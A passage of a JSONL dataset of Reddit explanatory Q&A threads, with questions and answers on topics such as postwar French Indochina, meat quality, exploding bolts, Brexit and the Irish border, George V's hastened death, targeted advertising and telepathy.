clock back to World War 2 and see what led to Charles de Gaulle uttering those words.\n\nOn August 14 1941, Franklin Roosevelt together with Winston Churchill released a joint declaration that was to be known as the *Atlantic Charter*. In the context of Indochina, the sixth clause is the most important one: \"After the final destruction of Nazi tyranny they hope to see established a peace which will afford to all nations the means of dwelling in safety within their own boundaries, and which will afford assurance that all the men in all the lands may live out their lives in freedom from fear and want.\u201d \n\nThis charter, alongside its sixth clause, had a tremendous effect in the world and while Winston Churchill was quick to reassure his government that the charter did not apply to the British Empire, Roosevelt had meant for it to apply universally. FDR had entered the 1940s with a strong anti-colonialist conviction. This of course extended to the belief that France should give up French Indochina (modern day Vietnam, Cambodia and Laos). FDR felt very strongly about the possibility that Indochina had been used by the Japanese as a springboard for the initial conquests in 1942 (it hadn't) and adding onto his generally bleak opinion about the French after its defeat in 1940, made him very determined to speak out against French colonialism in Indochina.\n\nThis does not mean that Roosevelt saw Indochina was being prepared for independence. Roosevelt had at occasions displayed, in the words of Fredrik Logevall, a \"patronizing and cryptoracist view of the Vietnamese\" and considered them unfit to rule themselves. Instead, he suggested a more paternalistic suggestion in which a *trusteeship* would be established along the lines of the mandate system of the League of Nations. These former colonies would be helped to independence through a series of stages culminating in total independence.\n\nRoosevelt was very reluctant in allow Free French regular forces to return to Indochina and while he began to look the other way as Free French forces were deployed with the help from the British towards the end of his own life (and the war), Roosevelt still remained convinced that allowing France to return to Indochina was a bad idea - even though it began to falter due to the realities of the war itself. To Roosevelt, the final (and inevitable) goal was universal decolonization.\n\nIt is in this context that Charles de Gaulle, after being questioned by Jefferson Caffery, the US ambassador to France, says the quote above. But why? Why did Charles de Gaulle and other French leaders want to hold on to Indochina so badly?\n\nThe reason lies in the understanding of the place of colonies in the might of a nation. France wasn't simply France the nation-state but also France as in the *French Empire*. In 1945, we have yet to see the decolonization that was to come. From this understanding, what made France powerful, what gave it its might and its place amongst the world's leading power, were its colonies. For a nation that was suffering from economic issues after a destructive war, being able to hold on to their colonies might make it possible for them to get back to their feet due to the financial rewards there were to reap from the overseas colonies. Furthermore, there were also cultural and social aspects in the form of the French *civilizing mission* (*mission civilisatrice*). French was \"responsible\" for \"civilizing\" Indochina. This meant exporting French institutions (and French jobs) to Indochina with a paternalist and condescending view towards their colonial subjects. If France was to step up from their humiliation at the hands of Germany, regain its prestige and become what it was before the war then all of its colonies had to be reinstated. \n\nTherefore, de Gaulle's statement needs to be seen in this context. What de Gaulle is effectively saying is that \"if you don't let us reclaim what is rightfully ours and make France great again through the reconquering of our lost colonies then metropolitan France will be so weak that it will be an easy prey for communism\". The United States needed France as not only an ally but also as a powerful bulwark against the the apparent Soviet threat coming from the east. The United States needed a sympathetic and stable France to, in the words of Logevall, \"fully secure in peacetime the hard-fought victories of the battlefield\". This would come to develop in many ways, including the famous Marshall Plan and in the long run, United States support for the French Indochina War.\n\nFor the United States, the choice was between a stable, powerful and friendly France on the one hand and the establishment of an independent Vietnam according to the sixth clause of the *Atlantic Charter* on the other. In the context of late 1945, the choice made sense to those who made it: The United States needed France."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "21iwzm", "title": "Is low quality beef, or other meats unhealthy compared to top quality?", "selftext": "People put down fast food saying it's low quality meat but assuming no fillers is a plain fast food burger really worse for you than a nicely marbled steak in a nice restaurant? Same for hot dogs, sure they may be high in fat, salt and such but are the gross cuts any different than the prime cuts? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/21iwzm/is_low_quality_beef_or_other_meats_unhealthy/", "answers": {"a_id": ["cgdi05u", "cgdiazx", "cgdilzd", "cgdne8a"], "score": [21, 12, 9, 3], "text": ["Fatty acid / antioxidant analysis on grain vs grass fed beef.\n\n_URL_0_\n\nIf you don't want to read; you are better off eating grass-fed/pasture raised. If you can't afford to spend the extra cash then I would recommend eating less or buying leaner cuts of low quality meat.", "One of the major differences has to do with the cut of meat we're talking about. Certain parts of the animal are going to have more fat or gristle than others. For example, if you go to the grocery store you will find different labels like \"ground sirloin\" or \"ground chuck\" or even labels with the actual fat percentages. That being said, the cuts used for ground meats tend to be lower quality. When I say lower quality I mean not very tender and contain a lot of gristle (aka cartilage) that isn't exactly a pleasant texture when prepped in the same manner as a good steak. \n\nAll of the parts of the animal have nutritional value, it's just in different proportions in different places, and gives each cut a different palatability. So no, it's not really any worse for you by itself\u2026everything in moderation\u2026yadda yadda. I hope this helps. \n\nSource: degree in Animal Science and currently in veterinary school", "I would ask for clarification on \"worse for you\" and \"prime cuts\" before answering but I'll make some assumptions. First off in many cases the prime quality meat in say, the grocery store, is usually is coming from the same cow as the stuff in a fast food burger, it's just from a different part so the only real difference is going to be fat content and I know there has been at least [one study](_URL_1_) that concluded that saturated fat is not as bad as once thought. But in many cases the more prime cuts actually have more fat in them than the cheaper cuts. Prime in this case is determined by taste quality.\n\nIf by prime you mean organic grass fed/free range beef there have been [some studies](_URL_0_) showing that e.coli levels are higher in cow's guts who are fed feed that consists of mostly corn and lower in cows that feed on grass. If this is true I'd say the cow with the higher e.coli count has more potential to be bad for you because it might make you sick. Like /u/n3rdi pointed out there is a lot of controversy around hormones and especially antibiotics used in factory farms but I believe so far research has been inconclusive.\n\n[There is also controversy over whether grass fed beef is better for the environment](_URL_2_) but it is generally accepted that it is more humane for the cattle since they live a more natural life. None of this has anything to do with our health per se but it's a more rational reason for eating grass fed/free range meat. \n\nEDIT: Spelling", "Depends what you mean by low quality and depends what you mean by healthy.\n\nNeck, shin, tail, heart, liver etc are are really cheap and delicious.\n\nProblem is that they need to be cooked in specific ways. \"Good\" cuts IMHO is just shorthand for easier to cook a lot of the time (think sirloin vs neck).\n\nSame goes for how healthy they are. If you live a sedentary lifestyle and eat processed and restaurant food, you might want to steer clear of oxtail stew and opt for something prepared with less fat.\n\nAs a slow food guy I love cheap cuts. I'm happy however they are used so long as nothing is wasted.\n\nHowever, fast food is a different beast. Even if you suppose they use exactly the same cuts I have listed, that would not fetch a great price at a supermarket, their meat is mechanically recovered. This means that meat is separated from the bone, and things like the nutrition benefits of marrow are lost.\n\nSo IMHO all cuts are good and nothing should go to waste. However, fast food meat is not the best solution because it misses points that make cheap cuts great."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nutritionj.com/content/pdf/1475-2891-9-10.pdf"], [], ["http://www.ansc.purdue.edu/faen/grass%20fed%20e%20coli.html", "http://articles.mercola.com/sites/articles/archive/2012/02/02/dutch-recognize-saturated-fat-not-a-problem.aspx", "http://www.slate.com/articles/health_and_science/the_green_lantern/2010/12/pass_on_grass.html"], []]}
{"q_id": "3zx24l", "title": "how do exploding bolts work?", "selftext": "I understand they're used to help get doors off of things or release two things that need to be secure for certain periods of time, but are they wired to something, how much explosive is in one, what kind of explosive, ect.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3zx24l/eli5_how_do_exploding_bolts_work/", "answers": {"a_id": ["cyponj9"], "score": [2], "text": ["The application I know explosive bolts are used for is aerospace engineering: they are used to separate rocket stages since they are lighter and much more reliable than other mechanical separation methods, especially in a zero-G environment. You can see that [here](_URL_0_).\n\nExplosive bolts contain explosive charges in a specific pattern, usually on the circumference of the bolt, that are wired to a remote detonator. The wireless signal is received by the remote detonator and through the wires reaches the explosive and ignites it. The bolt is often designed to have an intentionally weak spot where all the energy from the explosions releases and snaps the whole thing in two."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=v184lSB2LHI"]]}
{"q_id": "5jm2u4", "title": "Which person has had the most post-nominal letters after their name?", "selftext": "Sorry if this is the wrong place to ask, but I thought it may be the best community to help me. Churchill had a high number, but I can't seem to find anyone with more. \n\nThanks!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5jm2u4/which_person_has_had_the_most_postnominal_letters/", "answers": {"a_id": ["dbh96hj"], "score": [5], "text": ["[The Right Honorable Field Marshal Horatio Herbert Kitchener, 1st Earl Kitchener, KG, KP, GCB, OM, GCSI, GCMG, GCIE, PC](_URL_0_) has the same number of post-nominal letters (eight), one pre-nominal, and a much more impressive sounding title if you're just looking for an interesting fact to pull out at a party. I'm not aware of anyone who has more than eight post-nominals."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Herbert_Kitchener,_1st_Earl_Kitchener"]]}
{"q_id": "arebp2", "title": "if the uk leaves the eu, why might a hard border be put up between the republic of ireland and northern ireland?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/arebp2/eli5_if_the_uk_leaves_the_eu_why_might_a_hard/", "answers": {"a_id": ["egmltpk", "egmm1sz"], "score": [2, 2], "text": ["Because without agreements for free movement of goods and services between Britain and the EU, a hard border is a legal and political necessity. Anything other than a hard border requires some form of agreement between Britain and the EU; and various nutcases have decided this is a bad idea.", "The EU requires that Ireland enforce its customs laws. You can\u2019t have countries of the union deciding not to enforce the rules because, with no internal customs controls, there\u2019s a huge potential for illegal or untaxed imports to disadvantage the whole union."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3jm1c6", "title": "I read somewhere that we can turn neutrinos into electrons using an electric field. Is this true?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3jm1c6/i_read_somewhere_that_we_can_turn_neutrinos_into/", "answers": {"a_id": ["cuqcjhv", "curcdoa"], "score": [15, 2], "text": ["No that is not at all true. Where did you read that?", " Neutrinos can change into other neutrinos. The muon neutrino can turn into an electron neutrino. \n\nMaybe you were confused with that? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2px28n", "title": "sometimes when i click on an imgur link, it sends me to an unrelated image. why is this?", "selftext": "For example, when I click on this link, _URL_0_ , which should lead to a Dredevil image, I get an image of Mr Monopoly and Facebook.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2px28n/eli5_sometimes_when_i_click_on_an_imgur_link_it/", "answers": {"a_id": ["cn0rfg8"], "score": [2], "text": ["If you're clicking on an old imgur link, it could be that the original image has timed out.  I believe imgur holds onto images for 6 months from the last time someone linked to it and then recycles the code.\n\nFor example, lets take [this image](_URL_0_) on the front page of imgur right now.  It's coded **bDk9o2A**.  If 6 months passes, and no one uses that link, they'll delete the picture and throw that code back in to be reassigned to some other picture that might be uploaded later."]}, "title_urls": [], "selftext_urls": ["http://m.imgur.com/gallery/pZg53"], "answers_urls": [["http://i.imgur.com/bDk9o2A.gif"]]}
{"q_id": "4d11gs", "title": "stephen hawking's \"no-boundary condition\"", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4d11gs/eli5_stephen_hawkings_noboundary_condition/", "answers": {"a_id": ["d1n0lb1"], "score": [60], "text": ["Think of a string on a guitar. It is attached to the guitar on both ends, and this attachment constrains the ways in which the string can vibrate and produce sound. (Only certain pitches can be produced for a given length and tension, for instance.) If you detach one end, even if somehow you could maintain the same tension on the string, its behavior would change and many other pitches become possible.\n\nIf the string represents our physical universe, having \"attachments\" at its physical endpoints (called boundary conditions), or a specific configuration at an initial zero point in time (e.g. a birth of the universe) would constrain the laws of physics within the universe in a way that would differ from the laws of physics \"outside\" the universe. \n\nHaving no boundary conditions, as Hawking asserts, would imply that either the universe is an open system with no boundary in either space or time (no beginning, end, or borders), or that if those boundaries did exist, there would be no information about the state of the universe at those boundaries to constrain the physical laws within it, like a string which is unattached to its guitar.\n\nEither way, that implies that the laws of physics apply equally within the universe as they do outside of it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "13zkcd", "title": "Would the sun's core be pitch black as it is too hot for the visible spectrum? ", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/13zkcd/would_the_suns_core_be_pitch_black_as_it_is_too/", "answers": {"a_id": ["c78j2wt", "c78jfw7", "c78kvij", "c78mq7z", "c78mv2n"], "score": [515, 45, 2, 19, 3], "text": ["No. The distribution of the radiation wavelengths will vary according to temperature, however any part of the sun undergoing fusion would emit radiation in the visible spectrum. \n\n_URL_0_\n\n**edit: as pointed out, visible light emission does [increase](_URL_1_) as a black body becomes hotter**", "Astronomer here. Blackbody radiation simply *peaks* at a certain point in correlation to an object's (or region's) temperature. There still exists a wide ~~Gaussian~~ spread of wavelengths emitted from an object outside of the \"peak range.\" So, yes, you would expect to see a certain amount of light in the visible spectrum emanating from the Sun's core, but as with all blackbodies, that \"visible light component\" of the total spectrum of the object gets smaller and smaller as your object gets hotter and hotter.", "What happens if a single wave with higher frequency than visible hits the eye? Wouldn't the lower \"sampling\" rate of the eye just make it seem to have a lower frequency?", "As temperature increases, emitted radiation increases *at every wavelength*. Sure, the maximum moves towards higher frequencies, and eventually wanders off into the UV wastelands above the visible spectrum, but meanwhile the visible radiation is emitted *more and more*. It's just that the UV stuff (and X-rays) grows even faster.", "So is this true of the early universe?  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Black-body_radiation#Spectrum", "http://en.wikipedia.org/wiki/File:Black_body.svg"], [], [], [], []]}
{"q_id": "5zxmkl", "title": "How true is it that King George V was killed prematurely to meet a printing press deadline?", "selftext": "This is from an article in today's Guardian (UK):\n\n >  There will be bulletins from the palace \u2013 not many, but enough. \u201cThe Queen is suffering from great physical prostration, accompanied by symptoms which cause much anxiety,\u201d announced Sir James Reid, Queen Victoria\u2019s physician, two days before her death in 1901. \u201cThe King\u2019s life is moving peacefully towards its close,\u201d was the final notice issued by George V\u2019s doctor, Lord Dawson, at 9.30pm on the night of 20 January 1936. Not long afterwards, Dawson injected the king with 750mg of morphine and a gram of cocaine \u2013 enough to kill him twice over \u2013 in order to ease the monarch\u2019s suffering, **and to have him expire in time for the printing presses of the Times, which rolled at midnight.**\n\n_URL_0_\n\nWas The Times' deadline really taken into consideration when *euthanising* a reigning monarch ?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5zxmkl/how_true_is_it_that_king_george_v_was_killed/", "answers": {"a_id": ["df2a5d3"], "score": [86], "text": ["Seems to be at least plausibly true, both in the fact of the euthenasia, and that the timing was at least partially to meet the Times deadline. Ultimately sourced to the Dr's diary.\n\n_URL_0_\n\n\n > At about 11 o'clock it was evident that the last stage might endure for many hours, unknown to the patient but little comporting with the dignity and serenity which he so richly merited and which demanded a brief final scene. Hours of waiting just for the mechanical end when all that is really life has departed only exhausts the onlookers and keeps them so strained that they cannot avail themselves of the solace of thought, communion or prayer. I therefore decided to determine the end and injected (myself) morphia gr.3/4 and shortly afterwards cocaine gr. 1 into the distended jugular vein\n\n > The determination of the time of death of the King's body had another object in view, viz. the importance of the death receiving its first announcement in the morning papers, rather than the less appropriate field of the evening journals\n\nPer this LA Times article, the information flowed from the diary, through historian Francis Watson\n_URL_4_\n\n > The issue arose in an article written for the magazine History Today by British historian Francis Watson. He said the 70-year-old king's doctor administered separate injections of morphine and cocaine about 40 minutes before George V died on Jan. 20, 1936.\n\n > Watson, 79, had published a biography of Dawson in 1950, five years after Dawson's death. Watson said he had not mentioned the lethal injection at the time because he did not want to embarrass the physician's relatives or the Royal Family.\n\n_URL_1_\n\n > It was only in 1986, through Dawson\u2019s biographer, that it was revealed Dawson administered two injections to the Monarch \u2013 fatal doses of morphine and cocaine \u2013 to speed his passing and make it painless. His notes said this was so that the announcement was made \u2018in the morning papers rather than the less appropriate evening journals\u2019.\n\n > Less than an hour after these two injections, George slipped away in his sleep.\n\n > The Dawson notes as they have been called, are now preserved in the archives of Windsor Castle; Francis Watson, the doctor\u2019s biographer, looked at the notes five years after the doctor\u2019s death in 1945. Lady Dawson requested that he omit any reference to the euthanasia.\n\n > Watson wrote a journal article for History Today in 1986, which included the information: \u201cPerhaps I should have included it in the book [on Dawson\u2019s life] at the time,\u201d Mr Watson said. \u201cLady Dawson did not want it in the book and I quite readily agreed. I didn\u2019t think it appropriate.\u201d\n\n_URL_3_\n\n > His reputation would have been considerably diminished, however, had it been known that when the king was suffering from cardiorespiratory failure in January 1936 he administered a lethal combination of morphine and cocaine at a time when the king was already comatose and close to death. His action remained a well kept secret and the truth came to light only 50 years later when his private diary was opened, Dawson having died in 1945.\n\n_URL_2_\n > As he lay comatose on his deathbed in 1936, King George V was injected with fatal doses of morphine and cocaine to assure him a painless death in time, according to his physician's notes, for the announcement to be carried ''in the morning papers rather than the less appropriate evening journals.''\n\n > The fact that the death of a reigning monarch had been medically hastened remained a secret for half a century until the publication today of the notes made at the time by Lord Dawson, the royal physician who recorded that he administered the two injections at about 11 o'clock on the night of Jan. 20, 1936\n\n\n\n.\n\n"]}, "title_urls": [], "selftext_urls": ["https://www.theguardian.com/uk-news/2017/mar/16/what-happens-when-queen-elizabeth-dies-london-bridge"], "answers_urls": [["https://books.google.com/books?id=xUa-P74h-nEC&amp;pg=PA93", "http://www.thecrownchronicles.co.uk/history/george-v-death-1936-doctors-helped-speed-up-his-death-injections-morphine-cocaine/", "http://www.nytimes.com/1986/11/28/world/1936-secret-is-out-doctor-sped-george-v-s-death.html", "http://www.bmj.com/content/308/6941/1445.1.full", "http://articles.latimes.com/1986-11-28/news/mn-15949_1_mercy-killing"]]}
{"q_id": "cv8pys", "title": "how do big tech companies sell data? how do they turn users' data into profit  &  money?", "selftext": "How do they sell it and who buys it?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cv8pys/eli5_how_do_big_tech_companies_sell_data_how_do/", "answers": {"a_id": ["ey2omk9", "ey2rz7b", "ey2u7kl", "ey3yeit"], "score": [52, 4, 6, 2], "text": ["Most of the \"big tech companies\" you're probably thinking of (Facebook, Google) don't sell the data directly. You can't really walk up to Facebook and say \"I want to buy 3 million email addresses and phone numbers, how much will that be?\"\n\n(Before someone chimes in to say that Facebook basically sold data in Cambridge Analytica or whatever, that's beside the point - giving people access to data for money is still not their primary business plan. If you think about it a little bit you'd realize that it would be a dumb business plan, because eventually you'd sell all your data, giving you nothing left to sell because it's all been leaked. Not to mention the immediate regulatory attention it would attract.)\n\nInstead what they do is sell ads, but use the information they have to sell better ads. For example, as an advertiser you could tell Facebook that you want an ad shown to \"10,000 people between the ages of 25-35 who are interested in Hiking in the US.\" Facebook will then show your ad to the users who it thinks matches your criteria, without necessarily revealing who those users are. Since targeted advertising like this is typically more effective than non-targeted advertising, advertisers continue spending money to run ads on Facebook and Google as opposed to other places that have less data on their users.\n\nYou can try it yourself; it's pretty easy to run ads on Google and Facebook. You can spend a couple bucks to publish an ad that will get shown to some minuscule number of users.", "They sell your information to companies who want demographic information and in many cases like Google, Amazon, etc they get companies to pay them to present you with relevant ads based on what they know about you.\n\nCompanies like Google, Facebook, etc make a profile of you and correlate that information for advertising/demographics.\n\nExample, let's say you make a widget and you want to market your widget on the internet. You believe your widget will sell among the male hockey fans between the ages of 18-35.  But, you don't know how to target them.  You can go to Google and they can strategically place those ads on your behalf. In return you pay Google for each impression/click you receive.", "They sell very targeted ads.\n\nIf 10% of people are likely interested in your product, and you buy 100,000 ads at 1\u00a2 a piece, you've spent $1,000 for 10,000 effective impressions.\n\nIf instead a company says they can target your ad to only hit those 10%, but charge 5\u00a2 each, you spend $500 for 10,000 effective impressions.\n\nYou like this because you're not spending money advertising to people unlikely to buy your product. The advertiser likes it because they're generating 5 times the revenue per ad.", "They use it to target ads to users. The better the ad targetting the greater the chance of sales and the higher you can charge advertisers to advertise on your platform."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "abwrzl", "title": "what causes a psu that blows up to also sometimes take other pc parts with it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/abwrzl/eli5_what_causes_a_psu_that_blows_up_to_also/", "answers": {"a_id": ["ed3igyb", "ed3ivr3", "ed3lnnq"], "score": [5, 2, 2], "text": ["The PSU is the \"power supply unit\", so when it \"blows up\" you could have transient voltages making it to the motherboard, hard drives, etc.\n\nThe job of the PSU is to convert 120 V or 220 V AC to the 5V and 12V DC that the computer parts use.  When the PSU gets shorted or damaged, you could have 120V dumped into the 5V or 12V components, frying them too.", "There are a whole bunch of things that can go catastrophically wrong depending on the layout\n\nIf your power supply uses a buck converter to create the 3.3V rail from the 12V rail and the switching FET shorts then you've got 12V going into your 3.3V parts and they're going to be sad.\n\nIf one of the traces overheats and blows then you have copper spraying around which can find creative new paths for energy to go from the high voltage side to the low voltage side. You can have 400V going into your 3.3V components which will make them very sad.\n\nIf other components let out their magic smoke they can also create new paths leading to other components letting out their smoke and again getting high voltage to your low voltage side. Again, very sad components.\n\nA good supply will have traces much bigger than needed, parts that are significantly oversized for their purpose, and various protections (overcurrent, over voltage, over temperature) to keep them from reaching a state where components will fail", "My friend had a novel one - the fan in his PSU broke, but the thing was a trooper and kept running without a wobble. Unfortunately it also got extremely hot - hot enough to warp the motherboard next to it, which promptly shorted across the metal case and killed both the cpu and ram as well as the board itself.\n\nEven that didn't kill the PSU, but for some reason he didn't want it any more after that. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "286xsj", "title": "Apart from lips, fingertips and genitals, what are the next most nerve-dense spots in the body?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/286xsj/apart_from_lips_fingertips_and_genitals_what_are/", "answers": {"a_id": ["ci86lig"], "score": [5], "text": ["There is a distinction between sensory and motor nerves. The [homunculus](_URL_0_) is a conceptual representation of where the various parts of nerves are mapped in the sensory cortex (figure a on the left) and the motor cortex (figure b on the right) of the brain. Fairly straightforward: if there is a larger area on the homunculus, then there are more nerves traveling to (sensory) and from (motor) that area of the cortex."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://harmonicresolution.com/homunculus1.jpeg"]]}
{"q_id": "1trl2b", "title": "why are cats and dogs the only species out of hundreds of thousands that are forced to be put in animal shelters?", "selftext": "I see squirrels, rabbits, alligators, fish, birds, and every other species of animal roaming the wild, why can't cats and dogs roam the wild? Why do they have to be in animal shelters? You see those commercials for \"saving a dog or cat\" on TV, why can't they just let them go wild?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1trl2b/eli5_why_are_cats_and_dogs_the_only_species_out/", "answers": {"a_id": ["cear0ka", "ceardts", "ceastwu", "ceayamf"], "score": [10, 9, 3, 2], "text": ["Because cats and dogs have been domesticated for so long that many of them no longer possess the ability to fend for themselves.\n\nAlso because humans have gained an attachment to these animals so we view it as cruel for them to not be taken care of.  How  distraught would kids be if they saw a dog running around wild", "Most cats and dogs cannot truly survive in the wild, and instead become feral nuisance animals living on the fringes of human society.  They can spread disease and harm humans and their pets.  Squirrels, rabbits, and alligators that find themselves in similar situations are usually just killed.", "There are all sorts of animals in shelters- not just dogs and cats. Dogs and cats are the most common animals in shelters, since they're popular pets and their populations largely exceed the number of appropriate homes. \n\nBeyond that, we're looking at two categories of animals: wild (native or non-native animals that are able to successfully operate in an ecosystem so as to feed themselves. In North America, common wild animals would include squirrels, raccoons, foxes, deer, and most fish and bird species) and domestic (animals whom have been bred, over many generations, to work with/for humans. This includes livestock (cows, sheep, goats, chickens) and pets (cats, dogs)). \n\nThere are shelters for all sorts of domestic animals- including livestock shelters/rescues. There are also shelters for wild animals whom have been raised in captivity and cannot care for themselves in the wild, or whom have other injuries/issues and cannot survive in the wild but individuals running the shelter feel that the animals' life should be saved and maintained. \n\nThere are lots of reasons why dogs and cats are kept in shelters, but the primary ones seem to be that they're a nuisance if left feral (allowed to roam free), and because many people feel that, as we have domesticated these animals to a point where they no longer easily integrate into 'wild' habitats, we have a responsibility to care for them. (And yes, they can be a real nuisance: in North America, cats are a non-native predator and can do major damage to wild bird and mammal populations who are not used to defending themselves from cats ([source](_URL_0_)), and feral dogs can harm humans and pet dogs ([source](_URL_1_))). \n\nThere are all sorts of other distinctions and divisions that enter into this (human hunting of animals, \"nuisance\" wildlife and vermin, the very different ways we respond to livestock populations, etc) that can certainly be discussed, but for the most part: domestic animals aren't equipped to deal with life in the wild, and make themselves a nuisance to both human and wild animal populations if allowed to run wild.", "You are asking this question from most likely a modern city / lifestyle.  What you have to realize is that humans are infringing on \"wild\"  territory and these animals have little places to be wild. \n\nAlso think about the wild.  You are an animal (scavenger)  where do you want to live?  A Forrest?  Desert?  Or in a city next to other animals who constantly throw away food that's easy to get and is highly likely to be replenished the next day? \n\nThey are out into shelters to help control the animal population because people don't want to kill them. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.wildlifeextra.com/go/news/cat-birds-013.html#cr", "http://www.bloomberg.com/news/2013-08-21/abandoned-dogs-roam-detroit-in-packs-as-humans-dwindle.html"], []]}
{"q_id": "k9ngn", "title": "Is telepathy possible on any level?  Could it be happening subconciously through the transfer of emotions?", "selftext": "Meaning, could we actually be communicating subtle messages eg emotions between our brains, subconciously?  I saw people on r/psychonauts suggesting it but do not know if possible or just crazy.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/k9ngn/is_telepathy_possible_on_any_level_could_it_be/", "answers": {"a_id": ["c2ijblx", "c2iklyj", "c2ikztu", "c2ilrl5", "c2im8qu", "c2ijblx", "c2iklyj", "c2ikztu", "c2ilrl5", "c2im8qu"], "score": [43, 7, 10, 2, 3, 43, 7, 10, 2, 3], "text": ["We do send messages subconsciously, in our body language, tone, facial expressions etc. People are quite adept at picking up on these things. In fact, we have what are called 'mirror neurons' that help us experience what the other person is experiencing. However, there is nothing supernatural involved in that. It's simply evolution of a species wherein social contact and cohesion was highly important.", "Scifi telepathy? No. There is no evidence of anything of the sort.\n\nBut think about all of the tell-tale signs a person puts out. Think about the narrow range thoughts so often encompass. And think about what would be possible if someone were perfectly adept at reading those signs, intuiting the likely thoughts, and making highly educated guesses? Such a thing might be possible with the aid of technology. To us such a person would look like they could read thoughts.", "With paranormal stuff like this, people tend to emphasize the fact that there isn't any good evidence for it, and that it's an extraordinary claim - which of course is true. There's another argument against it though, which is that it is a very vague hypothesis. There's no mechanism by which it can work.\n\nThe idea of a mechanism is very important to a hypothesis, especially in medical and biological science. A hypothesis without a proposed mechanism (\"sunshine can make people sneeze\") is not as strong as one with a proposed mechanism (\"there's a cranial nerve that in some people both stimulates the sneeze reflex and receives optic input\").\n\nWithout a proposed mechanism for telepathy, even a consistent effect in a trial wouldn't tell us very much.", "Think about how you would test for it.  Assuming \"telepathy\" means a \"sixth sense\" about what others are thinking, you would have to eliminate all other senses in order to test for the presence of telepathy.  That is, you'd have to make sure the subjects cannot see each other, hear each other, feel vibrations from each other, or even smell each other.\n\nSo, you would have to isolate them pretty thoroughly.  I can see two methods: 1) put them in sealed containers (with air of course!) in the same room. 2) put them in different rooms not sharing a wall or ventilation system, or different locations entirely.\n\nEffectively what I'm getting at is that you would basically have to show that _telecommunication_ is occurring.  And I believe there is enough evidence in daily life (experience with telephone/internet miscommunication, etc.) to show that people cannot telecommunicate without language via sight, sound, or touch.\n\nThere is the odd claim that someone can tell how someone else is feeling (like a mother claiming she knows when her children are sick, when they are away in another city), so you would have to conduct some kind of survey to determine how effective this is, but honestly I don't see how the results could be above chance.", "Basically, there's absolutely no evidence for this.\n\nFirst of all, \"transmission\" would have to obey some sort of distance-decay law, most likely an inverse-square relation, like light and sound. The brain would therefore need to create an enormous signal for another to receive, which we should be able to detect.\n\nSecond, we would have to have structures in the brain to send and receive these signals, none of which have been observed.\n\nThird, there would have to be a physical explanation of how the information is transmitted. Electromagnetism is the most likely candidate, given that our brains use electromagnetism internally. But of course, we would observe signals coming out of our brains if this were the case. Instead, we need super-sensitive equipment just to detect *any* brain waves at all. There are other, more esoteric \"explanations\" out there, but they also make little sense.", "We do send messages subconsciously, in our body language, tone, facial expressions etc. People are quite adept at picking up on these things. In fact, we have what are called 'mirror neurons' that help us experience what the other person is experiencing. However, there is nothing supernatural involved in that. It's simply evolution of a species wherein social contact and cohesion was highly important.", "Scifi telepathy? No. There is no evidence of anything of the sort.\n\nBut think about all of the tell-tale signs a person puts out. Think about the narrow range thoughts so often encompass. And think about what would be possible if someone were perfectly adept at reading those signs, intuiting the likely thoughts, and making highly educated guesses? Such a thing might be possible with the aid of technology. To us such a person would look like they could read thoughts.", "With paranormal stuff like this, people tend to emphasize the fact that there isn't any good evidence for it, and that it's an extraordinary claim - which of course is true. There's another argument against it though, which is that it is a very vague hypothesis. There's no mechanism by which it can work.\n\nThe idea of a mechanism is very important to a hypothesis, especially in medical and biological science. A hypothesis without a proposed mechanism (\"sunshine can make people sneeze\") is not as strong as one with a proposed mechanism (\"there's a cranial nerve that in some people both stimulates the sneeze reflex and receives optic input\").\n\nWithout a proposed mechanism for telepathy, even a consistent effect in a trial wouldn't tell us very much.", "Think about how you would test for it.  Assuming \"telepathy\" means a \"sixth sense\" about what others are thinking, you would have to eliminate all other senses in order to test for the presence of telepathy.  That is, you'd have to make sure the subjects cannot see each other, hear each other, feel vibrations from each other, or even smell each other.\n\nSo, you would have to isolate them pretty thoroughly.  I can see two methods: 1) put them in sealed containers (with air of course!) in the same room. 2) put them in different rooms not sharing a wall or ventilation system, or different locations entirely.\n\nEffectively what I'm getting at is that you would basically have to show that _telecommunication_ is occurring.  And I believe there is enough evidence in daily life (experience with telephone/internet miscommunication, etc.) to show that people cannot telecommunicate without language via sight, sound, or touch.\n\nThere is the odd claim that someone can tell how someone else is feeling (like a mother claiming she knows when her children are sick, when they are away in another city), so you would have to conduct some kind of survey to determine how effective this is, but honestly I don't see how the results could be above chance.", "Basically, there's absolutely no evidence for this.\n\nFirst of all, 